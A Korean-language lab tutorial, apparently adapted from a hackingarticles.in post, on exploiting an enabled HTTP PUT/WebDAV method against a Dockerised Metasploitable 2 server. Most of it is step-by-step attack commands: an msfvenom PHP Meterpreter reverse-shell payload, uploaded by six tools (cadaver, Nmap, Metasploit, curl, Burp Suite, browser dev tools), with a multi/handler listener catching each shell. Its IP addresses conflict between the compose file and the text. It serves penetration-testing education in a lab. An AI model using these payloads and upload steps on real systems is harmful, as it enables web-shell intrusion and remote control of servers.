※ 해당 기법은 사전에 구축된 테스트 환경에서 공격 기법 연구를 위한 목적으로만 사용하시기 바랍니다.
I. Exploiting PUT Method1-1. PUT Method란?1-2. 환경 구성1) 구성도2) Attacker and Victim 환경 구성1-3. 실습1) Scanning HTTP PUT Method (Nikto)2) Exploiting PUT Method Using Cadaver3) Exploiting PUT Method Using Nmap4) Exploiting PUT Method Using Metasploit5) Exploiting PUT Method Using Curl6) Exploiting PUT Method Using Burpsuite7) Exploiting PUT Method Using Developer ToolsII. 참고
I. Exploiting PUT Method
1-1. PUT Method란?
PUT 방법은 원래 파일 관리 작업에 사용되는 HTTP 방법 중 하나입니다.
웹 서버에서 HTTP PUT 방식이 활성화된 경우 웹 셸과 같은 악성 리소스를 대상 서버에 업로드하여 실행할 수 있습니다. 이 방법은 대상 서버의 파일 시스템에서 파일을 변경하거나 삭제하는 데 사용되기 때문에 종종 다양한 파일 업로드 취약점이 발생하여 중요하고 위험한 공격을 유도합니다.
만약 조직에서 이러한 방법을 반드시 활성화 해야 하는 경우, 조직의 중요한 서버에 대한 파일 액세스 권한은 인증된 사용자에 대한 액세스를 제한하여 엄격하게 제한해야합니다.
본 포스팅에서는 다음과 같이 다양한 도구를 활용하여 HTTP PUT Method 익스플로잇을 실습하는 것을 소개하고자 합니다.
- Nikto를 활용한 HTTP PUT Method 스캐닝
- Cadaver를 사용한 PUT Method 익스플로잇
- Nmap을 사용한 PUT Method 익스플로잇
- Metasploit을 사용한 PUT Method 익스플로잇
- Curl을 사용한 PUT Method 익스플로잇
- Burpsuite를 사용한 PUT Method 익스플로잇
Poster를 사용한 PUT Method 익스플로잇- Developer Tools를 사용한 PUT Method 익스플로잇
1-2. 환경 구성
1) 구성도
본격적으로 시작하기에 앞서 구성도는 다음과 같습니다.
구분 | 항목 |
---|---|
OS | Ubuntu 20.04 LTS |
Network | 192.168.0.129 |
Software | Dorker 20.10.3 / Dorker Compose 1.27.4 |
도커 컨테이너
공격자 서버
- OS : Kali Linux
- Network : 10.10.0.100
취약한 웹서버 (Metasploitable 2)
- OS : Ubuntu 8.04
- Network : 10.10.0.200
2) Attacker and Victim 환경 구성
취약한 웹 환경 구성과 공격자 환경을 Docker를 활용하여 간단히 구축합니다.
docker-compose에 Metasploitable2를 설치하기 위한 이미지를 작성합니다.
$ vi docker-compose.yml
x
version'3'
services
metasploit2
image tleemcjr/metasploitable2
container_name metasploit
stdin_opentrue
ttytrue
ports
"80:80"
"2200:22"
networks
mynet
ipv4_address"10.10.0.100"
kali
image booyaabes/kali-linux-full
container_name kali
stdin_opentrue
ttytrue
ports
"2201:22"
networks
mynet
ipv4_address"10.10.0.200"
networks
mynet
ipam
config
subnet 10.10.0.0/24
gateway10.10.0.1
작성된 docker-compose를 실행합니다.
xxxxxxxxxx
$ sudo docker-compose up -d
실습 서버(Ubuntu)에서 http://10.10.0.100:80로 접속합니다.
실습 서버(Ubuntu)에서 Kalilinux로 접속합니다. 현재 운용 중인 도커 컨테이너를 확인해보면 다음과 같습니다.
x
$ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a75acccfc9b3 booyaabes/kali-linux-full "/bin/sh -c \"/bin/ba…" 2 minutes ago Up 2 minutes 0.0.0.0:2201->22/tcp kali
ebed6dcf62c3 tleemcjr/metasploitable2 "sh -c '/bin/service…" 2 minutes ago Up 2 minutes 0.0.0.0:80->80/tcp, 0.0.0.0:2200->22/tcp metasploi
공격자 서버인 kali 컨테이너로 접속하여 실습을 진행합니다.
xxxxxxxxxx
$ sudo docker exec -it kali /bin/bash
1-3. 실습
1) Scanning HTTP PUT Method (Nikto)
피해자 IP(10.10.0.100)를 입력하고 WebDAV를 클릭합니다.
http://10.10.0.100/dav는 다음과 같이 상위 디렉토리만 나열합니다.
취약한 대상이 악성 백도어를 업로드할 수있는 HTTP PUT 방식을 가지고 있는지 확인이 필요합니다. 이를 확인하기 위해 Nikto를 사용하여 대상을 스캔합니다.
Nikto란?
Nikto는 위험한 파일/CGI, 오래된 서버 소프트웨어 및 기타 문제에 대해 웹 서버를 테스트하는 인기있는 웹 서버 스캐너입니다.
아래 명령을 실행하면 스캔 대상 서버에서 HTTP PUT 메서드가 허용되고 있음을 알 수 있습니다.
xxxxxxxxxx
$ nikto -h http://10.10.0.100/dav
취약한 대상 서버에 악성 PHP 파일을 업로드 하여 세션을 탈취하는 실습을 진행하기 위해 msfvenom으로 PHP 악성 파일을 준비합니다.
Msfvenom이란?
Msfvenom은 리버스 쉘을 제공하는 PHP 미터 프리터 페이로드를 만드는 데 사용할 수 있습니다.
다음 명령을 실행하여 악성 PHP 소스코드를 제작하여 shell.php에 저장합니다.
xxxxxxxxxx
$ msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.0.200 lport=4444 -f raw > shell.php
2) Exploiting PUT Method Using Cadaver
Cadaver는 Kali 시스템에 사전 설치된 명령 줄 도구로 WebDAV에서 파일을 업로드 및 다운로드 할 수 있습니다. 아래 명령을 사용하여 악성 파일을 업로드 할 대상 호스트 URL을 입력합니다.
xxxxxxxxxx
$ cadaver http://10.10.0.100/dav/
공격자아래 명령을 실행하여 대상 컴퓨터의 경로로 shell.php 파일을 업로드합니다 .
xxxxxxxxxx
dav:/dav/> put /root/f-NGS/shell.php
파일 업로드 여부를 확인하려면 브라우저에서 http://10.10.0.100/dav/를 실행합니다. 악성 파일인 shell.php가 웹 서버에 업로드되었습니다.
이제 Metasploit 프레임 워크를 시작하고 exploit/multi/handler 모듈을 사용하여 exploit합니다. LHOST 및 LPORT 값과 같은 다른 값을 Kali 시스템의 IP 및 포트에 각각 할당하여 수신합니다. 완료되면 exploit 명령을 실행하여 수신 연결 수신을 시작합니다.
xxxxxxxxxx
$ msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.0.130
lhost => 192.168.0.130
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > exploit
exploit이 되면 reverse_tcp 핸들러가 Kali IP(10.10.0.200:4444)에서 시작되었음을 알 수 있습니다.
Cadaver를 활용하여 업로드 한 shell.php 파일을 클릭하면 reverse connection이 되어 meterpreter 세션을 제공합니다. sysinfo 명령을 실행하여 컴퓨터 OS/아키텍처 세부 정보를 가져옵니다.
Meterpreter란?
Meterpreter는 대상 컴퓨터를 탐색하고 코드를 실행할 수있는 대화 형 셸을 공격자에게 제공하는 Metasploit 공격 페이로드입니다.
3) Exploiting PUT Method Using Nmap
모든 웹 서버에서 PUT 방법이 활성화 된 경우 NMAP를 사용하여 악성 파일을 원격 웹 서버에 업로드 할 수도 있습니다.
Nmap이란?
Nmap은 오픈 소스 포트 스캐너 및 네트워크 악용 도구입니다.
먼저, PHP 악성파일(shell.php)를 nmap.php로 복사합니다. 준비된 악성 PHP 파일을 대상 서버에 업로드하기 위해 Nmap을 활용합니다.
xxxxxxxxxx
$ cp /root/f-NGS/shell.php /root/f-NGS/nmap.php
다음 명령으로 파일 이름과 URL 경로를 지정하여 대상 서버에 악성 PHP 파일을 업로드합니다.
xxxxxxxxxx
$ nmap -p 80 10.10.0.100 --script http-put --script-args http-put.url='/dav/nmap.php',http-put.file='/root/f-NGS/nmap.php'
http://10.10.0.100/dav에 nmap.php 파일이 웹 서버에 업로드되었습니다.
msfconsole을 닫지 않았다면 다음 명령어를 통해 설정된 옵션값을 볼 수 있을 것입니다.
xxxxxxxxxx
msf6 exploit(multi/handler) > show options
run 명령을 통해 세팅되어 있는 handler를 실행합니다.
xxxxxxxxxx
msf6 exploit(multi/handler) > run
만약 msfconsole을 닫았다면 아래 내용을 확인합니다.
msfconsole을 실행 후 reverse_tcp handler를 세팅합니다.
xxxxxxxxxx
$ msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.0.200
lhost => 10.10.0.200
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > exploit
Nmap을 활용하여 업로드 한 nmap.php 파일을 클릭하면 reverse connection이 되어 meterpreter 세션을 제공합니다. sysinfo 명령을 실행하여 컴퓨터 OS/아키텍처 세부 정보를 가져옵니다.
4) Exploiting PUT Method Using Metasploit
Metasploit의 HTTP Method 스캔을 위한 모듈을 활용하여 취약한 서버 내로 파일을 업로드합니다. 이 모듈은 잘못 구성된 웹 서버를 exploit하여 PUT 및 DELETE HTTP 요청을 통해 웹 콘텐츠를 업로드 및 삭제할 수 있습니다.
Metasploit Framework란?
Metasploit Framework는 익스플로잇을 개발, 테스트 및 실행하기위한 잘 알려진 플랫폼입니다. 대상 컴퓨터에 대해 다양한 exploit을 수행하기 위한 오픈 소스 도구입니다.
먼저, PHP 악성파일(shell.php)를 meter.php로 복사합니다.
xxxxxxxxxx
$ cp /root/f-NGS/shell.php /root/f-NGS/meter.php
이제 Metasploit 프레임 워크를 시작하고 auxiliary/scanner/http/http_put 모듈을 사용하여 exploit합니다.
xxxxxxxxxx
$ msfconsole
msf> use auxiliary/scanner/http/http_put
msf>auxiliary (http_put) > set rhosts 10.10.0.100
msf>auxiliary (http_put) > set payload php/meterpreter/reverse_tcp
msf>auxiliary (http_put) > set path /dav/
msf>auxiliary (http_put) > set filename meter.php
msf>auxiliary (http_put) > set filedata file:///root/f-NGS/meter.php
msf>auxiliary (http_put) > exploit
http://10.10.0.100/dav에 meter.php 파일이 업로드되었습니다.
msfconsole을 닫지 않았다면 다음 명령어를 통해 설정된 옵션값을 볼 수 있을 것입니다.
xxxxxxxxxx
msf6 exploit(multi/handler) > show options
run 명령을 통해 세팅되어 있는 handler를 실행합니다.
xxxxxxxxxx
msf6 exploit(multi/handler) > run
만약 msfconsole을 닫았다면 아래 내용을 확인합니다.
msfconsole을 실행 후 reverse_tcp handler를 세팅합니다.
xxxxxxxxxx
$ msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.0.200
lhost => 10.10.0.200
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > exploit
Metasploit을 활용하여 업로드 한 meter.php 파일을 클릭하면 reverse connection이 되어 meterpreter 세션을 제공합니다. sysinfo 명령을 실행하여 컴퓨터 OS/아키텍처 세부 정보를 가져옵니다.
5) Exploiting PUT Method Using Curl
Curl을 사용하여 PUT 메소드를 통해 악성 PHP 파일을 업로드합니다.
Curl이란?
Curl은 URL 구문을 사용하여 데이터를 보내거나받는 잘 알려진 명령 줄 도구이며 잘 알려진 다양한 프로토콜 (HTTPS, FTP, SCP, LDAP, Telnet 등)과 호환됩니다.
먼저, PHP 악성파일(shell.php)를 curl.php로 복사합니다.
xxxxxxxxxx
$ cp /root/f-NGS/shell.php /root/f-NGS/curl.php
그 다음 curl 명령을 사용하여 악성 PHP 파일을 업로드합니다.
xxxxxxxxxx
$ curl http://10.10.0.100/dav/ --upload-file /root/f-NGS/curl.php -v
http://10.10.0.100/dav에 curl.php 파일이 웹 서버에 업로드되었습니다.
run 명령을 통해 세팅되어 있는 handler를 실행합니다.
xxxxxxxxxx
msf6 exploit(multi/handler) > run
만약 msfconsole을 닫았다면 아래 내용을 확인합니다.
msfconsole을 실행 후 reverse_tcp handler를 세팅합니다.
xxxxxxxxxx
$ msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.0.200
lhost => 10.10.0.200
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > exploit
Curl을 활용하여 업로드 한 curl.php 파일을 클릭하면 reverse connection이 되어 meterpreter 세션을 제공합니다. sysinfo 명령을 실행하여 컴퓨터 OS/아키텍처 세부 정보를 가져옵니다.
6) Exploiting PUT Method Using Burpsuite
Burpsuite를 활용하여 악성 PHP 파일을 업로드합니다.
Burpsuite란?
Burpsuite는 모든 종류의 GET 및 POST 요청을 분석하는 데 그래픽 인터페이스를 효과적으로 활용할 수있는 가장 널리 사용되는 프록시 차단 도구 중 하나입니다.
웹 브라우저에서 취약한 서버로 보내는 GET 요청을 가로챌 수 있도록 브라우저의 프록시 설정을 구성합니다. 참고로 본문에서는 FoxyProxy를 사용하였습니다.
프록시가 구성되면 http://10.10.0.100/dav에 접속하여 다음과 같이 패킷을 캡쳐합니다.
그 다음, Proxy 탭의 HTTP history에서 intercept된 패킷을 마우스 우클릭하여 "Send to Repeater"를 클릭합니다 .
다음은 캡쳐된 패킷은 리피터로 보내진 모습입니다.
burp.php라는 이름의악성 PHP 파일을 /dav/ 하위 경로에 업로드 하기 위해 헤더를 다음과 같이 변경합니다. (GET을 PUT 메서드로, /dav/는 /dav/burp.php로 대체)
xxxxxxxxxx
PUT /dav/burp.php HTTP/1.1
그 다음, PUT 요청을 통해 악성 PHP 파일의 내용을 다음과 같이 작성합니다. 그리고 리피터에서 PUT 메서드로 변경하고 악성 PHP 파일의 내용을 작성하여 대상 웹서버로 요청을 보낸 결과를 확인합니다.
http://10.10.0.100/dav에 burp.php 파일이 웹 서버의 / dav 디렉토리에 업로드된 것을 볼 수 있습니다.
run 명령을 통해 세팅되어 있는 handler를 실행합니다.
xxxxxxxxxx
msf6 exploit(multi/handler) > run
만약 msfconsole을 닫았다면 아래 내용을 확인합니다.
msfconsole을 실행 후 reverse_tcp handler를 세팅합니다.
xxxxxxxxxx
$ msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.0.200
lhost => 10.10.0.200
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > exploit
Burpsuite을 활용하여 업로드 한 burp.php 파일을 클릭하면 reverse connection이 되어 meterpreter 세션을 제공합니다. sysinfo 명령을 실행하여 컴퓨터 OS/아키텍처 세부 정보를 가져옵니다.
7) Exploiting PUT Method Using Developer Tools
해당 글을 작성하기 위해서 참고한 원문에서는 HTTP Request Tool인 Poser라는 도구를 사용하여 악성 PHP 파일을 업로드합니다. 하지만 2021년 기준, Poster는 Firefox ADD-ONS에서 삭제되어 더 이상 실습이 불가능합니다.
따라서 본문에서는 브라우저에 기본으로 존재하는 개발자도구를 사용해서 악성 PHP 파일을 업로드해보는 내용을 소개하고자 합니다.
지금까지는 cli 기반의 칼리리눅스에서 악성 PHP 파일 업로드를 진행하였습니다. 해당 실습에서는 브라우저에 기본적으로 탑재되어 있는 개발자 도구를 활용하여 악성 PHP 파일을 업로드하기 위해 GUI 기반의 우분투에서 실습을 진행하는 점 참고바랍니다.
먼저, 공격자 GUI 환경에서 Firefox를 열고 Menu → Web Developer → Network 순서로 Network 탭을 열어줍니다. (단축키: Ctrl+Shift+E
) 그 다음, http://10.10.0.100/dav로 접속할 때 오고간 내용이 출력되는 것을 확인할 수 있습니다.
다음과 같이 수정하고자 하는 요청을 우클릭하여 "Edit and Resend"를 클릭합니다.
다음과 같이 요청을 수정할 수 있는 부분이 보여집니다.
대상 서버에 악성 PHP 파일(developertool.php)을 업로드하기 위해 다음과 같이 작성하고 "Send"를 클릭합니다.
Method : PUT
Request Headers : 수정할 필요 없음
Request Body
xxxxxxxxxx
앞서 생성한 악성 php 코드
페이지를 새로고침하면 다음과 같이 악성 PHP 파일(developertool.php)이 업로드된 것을 확인할 수 있습니다.
다시 칼리리눅스로 돌아가서 run 명령을 통해 세팅되어 있는 handler를 실행합니다.
xxxxxxxxxx
msf6 exploit(multi/handler) > run
만약 msfconsole을 닫았다면 아래 내용을 확인합니다.
msfconsole을 실행 후 reverse_tcp handler를 세팅합니다.
xxxxxxxxxx
$ msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.0.200
lhost => 10.10.0.200
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > exploit
Developer Tools을 활용하여 업로드 한 developertool.php 파일을 클릭하면 reverse connection이 되어 meterpreter 세션을 제공합니다. sysinfo 명령을 실행하여 컴퓨터 OS/아키텍처 세부 정보를 가져옵니다.
II. 참고
https://www.hackingarticles.in/multiple-ways-to-exploiting-put-method/